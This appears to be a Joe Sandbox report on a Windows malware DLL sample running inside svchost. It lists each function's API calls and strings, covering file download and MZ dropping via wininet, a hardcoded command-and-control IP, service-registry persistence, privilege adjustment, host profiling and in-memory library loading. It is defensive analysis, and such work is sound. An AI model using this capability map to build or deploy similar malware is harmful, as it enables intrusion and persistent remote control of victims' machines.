Instruction Fuzzy Hash: 86514FB690062DBFFB10CBE0CD89EDF777CEB05395F1044A6F604E6144DA719A498BA0

Function 10004666 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(ADVAPI32.dll,?,SeShutdownPrivilege), ref: 1000467E
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 1000468E
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 10004699
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 100046A4
LoadLibraryA.KERNEL32(kernel32.dll,?,SeShutdownPrivilege), ref: 100046AE
GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 100046B9
LoadLibraryA.KERNEL32(KERNEL32.dll,?,SeShutdownPrivilege), ref: 10004701
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 10004709
CloseHandle.KERNEL32(?,?,SeShutdownPrivilege), ref: 10004718
FreeLibrary.KERNEL32(00000000,?,SeShutdownPrivilege), ref: 10004729
FreeLibrary.KERNEL32(00000000,?,SeShutdownPrivilege), ref: 10004734

Strings

SeShutdownPrivilege, xrefs: 1000466D
GetLastError, xrefs: 10004703
KERNEL32.dll, xrefs: 100046FC
kernel32.dll, xrefs: 100046A6
AdjustTokenPrivileges, xrefs: 10004690
LookupPrivilegeValueA, xrefs: 1000469B
GetCurrentProcess, xrefs: 100046B0
ADVAPI32.dll, xrefs: 10004675
OpenProcessToken, xrefs: 10004688

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 2c02e0a2dce957ed4b170e4857a5501a8461009b11209441a4d50c6b9b6a2af3
Instruction ID: 8d4d7167a0abf61afb389703d9ccc16411aa1da686c4766c6b67e9c280f51853
Opcode Fuzzy Hash: 2c02e0a2dce957ed4b170e4857a5501a8461009b11209441a4d50c6b9b6a2af3
Instruction Fuzzy Hash: DD2148B1D04218BAEB01EBF58C48FEFBFB8EF48391F114465E605E2144DB759A448BA0

Function 10004529 Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 115
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(wininet.dll,?,00000001,00000000), ref: 1000454D
GetProcAddress.KERNEL32(00000000,InternetOpenA), ref: 10004564
GetProcAddress.KERNEL32(00000000,InternetOpenUrlA), ref: 1000457E
FreeLibrary.KERNEL32(00000000,?,00000001,00000000), ref: 1000459C
CreateFileA.KERNEL32(10002CDC,40000000,00000000,00000000,00000002,00000000,00000000,?,00000001,00000000), ref: 100045B7
memset.MSVCRT ref: 100045D3
GetProcAddress.KERNEL32(10002CDC,InternetReadFile), ref: 100045E3
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000001,00000000), ref: 1000461B
CloseHandle.KERNEL32(00000000,?,00000001,00000000), ref: 1000462E
Sleep.KERNEL32(00000001,?,00000001,00000000), ref: 10004639
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 10004645
FreeLibrary.KERNEL32(00000000,?,00000001,00000000), ref: 10004658

Strings

MSIE 6.0, xrefs: 1000456A
MZ, xrefs: 100045FB
InternetOpenUrlA, xrefs: 10004578
InternetCloseHandle, xrefs: 1000463F
InternetReadFile, xrefs: 100045DB
InternetOpenA, xrefs: 1000455B
wininet.dll, xrefs: 10004537

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$Library$FileFree$CloseCreateHandleLoadSleepWritememset
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$MSIE 6.0$MZ$wininet.dll
API String ID: 2364563185-3604101231
Opcode ID: 4ccd4711cf4494772635a2f590ae23fe1c53700288b07bfeed38bb136e3ef3db
Instruction ID: cfdd7e431f84bb68211a12104eaec753c658bf1fa5ec063c49e3443a626c7788
Opcode Fuzzy Hash: 4ccd4711cf4494772635a2f590ae23fe1c53700288b07bfeed38bb136e3ef3db
Instruction Fuzzy Hash: 0E3149B180011CBEEB109FA0CC84EEFBFB9EB483D5F118069F605A2154DB365E858AA5

Function 10002D9E Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 136
synchronizationsleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 10002DA3
wsprintfA.USER32 ref: 10002DD0
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 10002DE4
GetLastError.KERNEL32 ref: 10002DF0
ReleaseMutex.KERNEL32(00000000), ref: 10002DFE
CloseHandle.KERNEL32(00000000), ref: 10002E05
rand.MSVCRT ref: 10002E28
Sleep.KERNEL32 ref: 10002E37
lstrcatA.KERNEL32(00000000,119.91.152.151), ref: 10002E60
strcmp.MSVCRT ref: 10002E72
GetTickCount.KERNEL32 ref: 10002E8A
GetTickCount.KERNEL32 ref: 10002EA6
WaitForSingleObject.KERNEL32(?,00000064,?,?,?,00002081), ref: 10002F0F
Sleep.KERNEL32(000001F4), ref: 10002F1C

Strings

119.91.152.151, xrefs: 10002DC5, 10002E4F
%s:%d:%s, xrefs: 10002DCA
SySyeu, xrefs: 10002DB4

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: CountMutexSleepTick$CloseCreateErrorH_prologHandleLastObjectReleaseSingleWaitlstrcatrandstrcmpwsprintf
String ID: %s:%d:%s$119.91.152.151$SySyeu
API String ID: 4065721159-4228222833
Opcode ID: a5af5a3d6a9359322f04e457a363fbda1204055e8f71d46e8cb9e8ff8e7e396c
Instruction ID: 0aef3fa4da984b37d72cd036fbc76a84f9d8f20caef5abb9300e459f48f97b0e
Opcode Fuzzy Hash: a5af5a3d6a9359322f04e457a363fbda1204055e8f71d46e8cb9e8ff8e7e396c
Instruction Fuzzy Hash: 4F41A8358042A5ABFB15DBB4CC88BDE7BB9EF093C0F1040A5E509E3199DF716A44CB51

Function 10004A93 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 144
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(ADVAPI32.dll,?,00000000,?), ref: 10004AC0
GetProcAddress.KERNEL32(00000000,RegCreateKeyExA), ref: 10004AD7
GetProcAddress.KERNEL32(00000000,RegSetValueExA), ref: 10004AE2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyA), ref: 10004AED
GetProcAddress.KERNEL32(00000000,RegDeleteValueA), ref: 10004AF8
GetProcAddress.KERNEL32(00000000,RegOpenKeyExA), ref: 10004B03
GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 10004B0E
FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 10004C02

Strings

RegSetValueExA, xrefs: 10004ADC
RegDeleteKeyA, xrefs: 10004AE7
RegCreateKeyExA, xrefs: 10004ACB
RegOpenKeyExA, xrefs: 10004AFD
RegDeleteValueA, xrefs: 10004AF2
RegCloseKey, xrefs: 10004B08
ADVAPI32.dll, xrefs: 10004ABB

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA
API String ID: 2449869053-3188892968
Opcode ID: b9fec3eb9a562a6a9266f8090f520ea499f34599839294b39172511a198aaae8
Instruction ID: 2058804bda021c861d2603192b8c2d3dc199326d0aa42d29f4cfa0892e9c0375
Opcode Fuzzy Hash: b9fec3eb9a562a6a9266f8090f520ea499f34599839294b39172511a198aaae8
Instruction Fuzzy Hash: E741E3B1900259BFFF11DF94DC84EEEBAB9FB08695F114026FA24A2168DB318C159B64

Function 10001603 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 10001608
memcmp.MSVCRT(?,?,00000003,00000000,00000000,00002000), ref: 10001635
memcpy.MSVCRT(00000003,00000000,00000003,00000000,?,00000003,00000000,00000000,00002000), ref: 1000169E
memcmp.MSVCRT(00000003,00000003,00000003,00000003,00000000,00000003,00000000,?,00000003,00000000,00000000,00002000), ref: 100016AD
_CxxThrowException.MSVCRT(?,10005370), ref: 100016C9
memcpy.MSVCRT(?,00000000,00000004,00000003,00000000,?,00000003,00000000,00000000,00002000), ref: 100016E1
??2@YAPAXI@Z.MSVCRT(?,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?,00000003,00000000), ref: 10001743
??2@YAPAXI@Z.MSVCRT(?,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?,00000003,00000000), ref: 1000174F
??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?), ref: 100017A7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?), ref: 100017B0
_CxxThrowException.MSVCRT(?,10005370), ref: 100017CD
??3@YAXPAX@Z.MSVCRT(00000000,?,10005370,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?), ref: 100017DC
??3@YAXPAX@Z.MSVCRT(?,?,10005370,?,00000004,?,00000004,?,00000004,00000003,00000003,?,?,00000003,00000000,?), ref: 100017EA

Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 10001884
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 1000189C
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018F3
Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018FB
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,00000001,00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?), ref: 1000190A
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000000,00000144,00000001,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 10001932

Strings

P`, xrefs: 100017C6
``, xrefs: 100016C2

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: ??3@$??2@memcpy$ExceptionThrowmemcmp$H_prolog
String ID: P`$``
API String ID: 1493374972-3525061398
Opcode ID: 10262e34717a2dc6bb8153166a79431bc9c49f8163c052bb3b4c512cb2356511
Instruction ID: 8fe5d1832865b8ccca8e0fc317077c96d8ecfcaf39360939d2f87a7bcfb0ed6c
Opcode Fuzzy Hash: 10262e34717a2dc6bb8153166a79431bc9c49f8163c052bb3b4c512cb2356511
Instruction Fuzzy Hash: 1E51B4B5A00109ABFF44DFA4CD82EEEB7BAFF48680F004019F605A7185DF75AA50CB95

Function 100031D2 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 120
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Ole32.dll,?,00000144,00000000), ref: 100031E6
GetProcAddress.KERNEL32(00000000,CoInitialize), ref: 100031F6
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 10003201
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 1000320C
LoadLibraryA.KERNEL32(Oleaut32.dll,?,?,?,?,?,?,?,?,?,?,?,?,100037D5), ref: 10003216
GetProcAddress.KERNEL32(00000000,SysFreeString), ref: 10003221
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,100037D5), ref: 100032E3
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,100037D5), ref: 100032ED

Strings

Oleaut32.dll, xrefs: 1000320E
Ole32.dll, xrefs: 100031E1
CoUninitialize, xrefs: 100031F8
CoInitialize, xrefs: 100031F0
SysFreeString, xrefs: 10003218
FriendlyName, xrefs: 100032AC
CoCreateInstance, xrefs: 10003203

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: CoCreateInstance$CoInitialize$CoUninitialize$FriendlyName$Ole32.dll$Oleaut32.dll$SysFreeString
API String ID: 2256533930-3340630095
Opcode ID: f1eadba59b2ebd071f72d2f7cbb709308b938fb940b81a85d55ffd123040d419
Instruction ID: 1885695b6b8551886770f00f979ae30a25f1f1d427a69892d216d7985a67bda5
Opcode Fuzzy Hash: f1eadba59b2ebd071f72d2f7cbb709308b938fb940b81a85d55ffd123040d419
Instruction Fuzzy Hash: 1641EA70A00219AFEB01DBA5CC88DEFBBBDFF89795B208459F505E7258D7719901CBA0

Function 1000304F Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 85
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 1000306C
strlen.MSVCRT ref: 10003078
strlen.MSVCRT ref: 1000308E

Part of subcall function 10004A93: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,00000000,?), ref: 10004AC0
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegCreateKeyExA), ref: 10004AD7
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegSetValueExA), ref: 10004AE2
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegDeleteKeyA), ref: 10004AED
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegDeleteValueA), ref: 10004AF8
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegOpenKeyExA), ref: 10004B03
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 10004B0E
Part of subcall function 10004A93: FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 10004C02

strlen.MSVCRT ref: 100030B4
GetLocalTime.KERNEL32(?), ref: 100030D7
wsprintfA.USER32 ref: 100030FF
strlen.MSVCRT ref: 1000310D

Strings

Group, xrefs: 100030C4
%4d-%.2d-%.2d %.2d:%.2d, xrefs: 100030F9
SYSTEM\CurrentControlSet\Services\%s, xrefs: 10003066
SySyeu, xrefs: 1000305B
InstallTime, xrefs: 10003120
Remark, xrefs: 1000309E
Default, xrefs: 100030AD, 100030B3, 100030BC

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$strlen$Librarywsprintf$FreeLoadLocalTime
String ID: %4d-%.2d-%.2d %.2d:%.2d$Default$Group$InstallTime$Remark$SYSTEM\CurrentControlSet\Services\%s$SySyeu
API String ID: 124699875-2222266080
Opcode ID: 01154ca105bfda5f078472489b81bc39b1063e4cdbc4f1aa553d48ab01563500
Instruction ID: 2672780922b42b35e2a89e682ca47f3d516b1e1a70e82393c56e9bdbe1b2b31e
Opcode Fuzzy Hash: 01154ca105bfda5f078472489b81bc39b1063e4cdbc4f1aa553d48ab01563500
Instruction Fuzzy Hash: CE211DA28001287BF710E794DC89DFF76BDEB4D695F5400A6FA01E1049EB39AE418775

Function 10004369 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 75
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(user32.dll,00000000,00000000,00000000), ref: 1000439A
GetProcAddress.KERNEL32(00000000,GetThreadDesktop), ref: 100043AD
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 100043B8
GetProcAddress.KERNEL32(00000000,SetThreadDesktop), ref: 100043C3
GetProcAddress.KERNEL32(00000000,CloseDesktop), ref: 100043D1
LoadLibraryA.KERNEL32(kernel32.dll), ref: 100043DB
GetProcAddress.KERNEL32(00000000,GetCurrentThreadId), ref: 100043E6

Strings

GetUserObjectInformationA, xrefs: 100043B2
GetThreadDesktop, xrefs: 100043A1
SetThreadDesktop, xrefs: 100043BD
kernel32.dll, xrefs: 100043D6
CloseDesktop, xrefs: 100043CB
GetCurrentThreadId, xrefs: 100043E0
user32.dll, xrefs: 1000438F

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2238633743-588083535
Opcode ID: 4c1376e7f27bce54e3710619517fe6f641db0fdfb4de06b67931ee9d63f56ed5
Instruction ID: 67ebd5df9d46fa76e82372fdf0c3b5a8e4a25dc64441a3b0318b74b919e85c2a
Opcode Fuzzy Hash: 4c1376e7f27bce54e3710619517fe6f641db0fdfb4de06b67931ee9d63f56ed5
Instruction Fuzzy Hash: 212107B1D00228BBEB10EFA5DC44BEEBAFDEB48391F114126F911F2254DB7459408F64

Function 100036BA Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 108stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 100036D4
wsprintfA.USER32 ref: 100036F4
lstrlenA.KERNEL32(?,00000000), ref: 10003706

Part of subcall function 10004822: memset.MSVCRT ref: 10004857
Part of subcall function 10004822: memset.MSVCRT ref: 1000486A
Part of subcall function 10004822: memset.MSVCRT ref: 10004878
Part of subcall function 10004822: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
Part of subcall function 10004822: GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
Part of subcall function 10004822: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

memset.MSVCRT ref: 10003738
getsockname.WS2_32(?,?,?), ref: 10003751
memcpy.MSVCRT(?,?,00000004), ref: 10003764

Part of subcall function 100035EA: lstrlenA.KERNEL32(?,?,1000377E,?,00000032,?,?,?,00000004), ref: 10003611
Part of subcall function 100035EA: gethostname.WS2_32(?,?), ref: 10003621

GetVersionExA.KERNEL32(?), ref: 10003792

Part of subcall function 1000358C: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 100035C9
Part of subcall function 1000358C: wsprintfA.USER32 ref: 100035DE

GlobalMemoryStatusEx.KERNEL32(?), ref: 100037B0

Part of subcall function 100031D2: LoadLibraryA.KERNEL32(Ole32.dll,?,00000144,00000000), ref: 100031E6
Part of subcall function 100031D2: GetProcAddress.KERNEL32(00000000,CoInitialize), ref: 100031F6
Part of subcall function 100031D2: GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 10003201
Part of subcall function 100031D2: GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 1000320C
Part of subcall function 100031D2: LoadLibraryA.KERNEL32(Oleaut32.dll,?,?,?,?,?,?,?,?,?,?,?,?,100037D5), ref: 10003216
Part of subcall function 100031D2: GetProcAddress.KERNEL32(00000000,SysFreeString), ref: 10003221

Part of subcall function 1000366A: LoadLibraryA.KERNEL32(kernel32.dll,?,00000144,00000000,?,?,100037E0), ref: 10003676
Part of subcall function 1000366A: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 1000368E
Part of subcall function 1000366A: GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 10003698
Part of subcall function 1000366A: FreeLibrary.KERNEL32(00000000), ref: 100036AC

Part of subcall function 10003629: lstrlenA.KERNEL32(00000014,?,?,?,?,100037FD,?,00000014,?), ref: 10003650
Part of subcall function 10003629: lstrcpyA.KERNEL32(00000014,Error,?,?,?,?,100037FD,?,00000014,?), ref: 10003662

lstrcpyA.KERNEL32(?,10006514), ref: 10003809

Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 10001884
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,1000381E,?,00000144,00000000,1000381E,000000C8,00000144), ref: 1000189C
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018F3
Part of subcall function 10001863: ??2@YAPAXI@Z.MSVCRT(00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 100018FB
Part of subcall function 10001863: memcpy.MSVCRT(00000000,000000C8,00000001,00000001,00000144,00000144,1000381E,1000381E,00000004,1000381E,00000004,000000C8,00000004,?,00000003,?), ref: 1000190A
Part of subcall function 10001863: ??3@YAXPAX@Z.MSVCRT(00000000,00000144,00000001,00000004,000000C8,00000004,?,00000003,?,00000144,00000000), ref: 10001932

Strings

Group, xrefs: 1000371E
SYSTEM\CurrentControlSet\Services\%s, xrefs: 100036EE
SySyeu, xrefs: 100036E9
@, xrefs: 100037A9

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$Library$memset$Load$lstrlenmemcpy$??2@??3@Freelstrcpywsprintf$GlobalInfoMemoryStatusSystemVersiongethostnamegetsockname
String ID: @$Group$SYSTEM\CurrentControlSet\Services\%s$SySyeu
API String ID: 1875266911-862850364
Opcode ID: 955314d3c9f2b6115b712ce9295eb8f3d277e00088749fc94f886e12991fb5ce
Instruction ID: 3133a6343b416fd9d4de8abc7d75c938e5c6614370202d51db2fcbf0203c4673
Opcode Fuzzy Hash: 955314d3c9f2b6115b712ce9295eb8f3d277e00088749fc94f886e12991fb5ce
Instruction Fuzzy Hash: 2C41FDB690121CAAEB10DBA4CC49FCEB7BCEB08340F104496F609E7195DB74AB448FA1

Function 100024AC Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

printf.MSVCRT ref: 100024B8
printf.MSVCRT ref: 100024C9
memset.MSVCRT ref: 100024FC
memcpy.MSVCRT(10006CF0,00000000,00000063,10006CF0,00000000,00000063,00000001), ref: 10002505
??2@YAPAXI@Z.MSVCRT(-00000064,10006CF0,00000000,00000063,10006CF0,00000000,00000063,00000001), ref: 1000250E
memcpy.MSVCRT(00000000,00000000,-00000064,-00000064,10006CF0,00000000,00000063,10006CF0,00000000,00000063,00000001), ref: 1000251B
printf.MSVCRT ref: 10002537
??3@YAXPAX@Z.MSVCRT(00000000), ref: 10002561
printf.MSVCRT ref: 10002573

Strings

Can't load library from memory., xrefs: 10002532
OpenProxy, xrefs: 10002540
hmProxy!= NULL, xrefs: 100024C4
Loop_Proxy, xrefs: 100024B3

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: printf$memcpy$??2@??3@memset
String ID: Can't load library from memory.$Loop_Proxy$OpenProxy$hmProxy!= NULL
API String ID: 60333908-620223428
Opcode ID: 1d0c7509cf9b4937be937c3ffef0e8e5e866c158fea0c4347d35d9917c06a107
Instruction ID: 34426b20c795a1564e6a7497d8f5fa3a22278249d6d1bd148d0ebd3529ec88d4
Opcode Fuzzy Hash: 1d0c7509cf9b4937be937c3ffef0e8e5e866c158fea0c4347d35d9917c06a107
Instruction Fuzzy Hash: 07112B76A045247FF200E7B0AD45FAF339ECB087D6F210026FA009605EEE756D0043A9

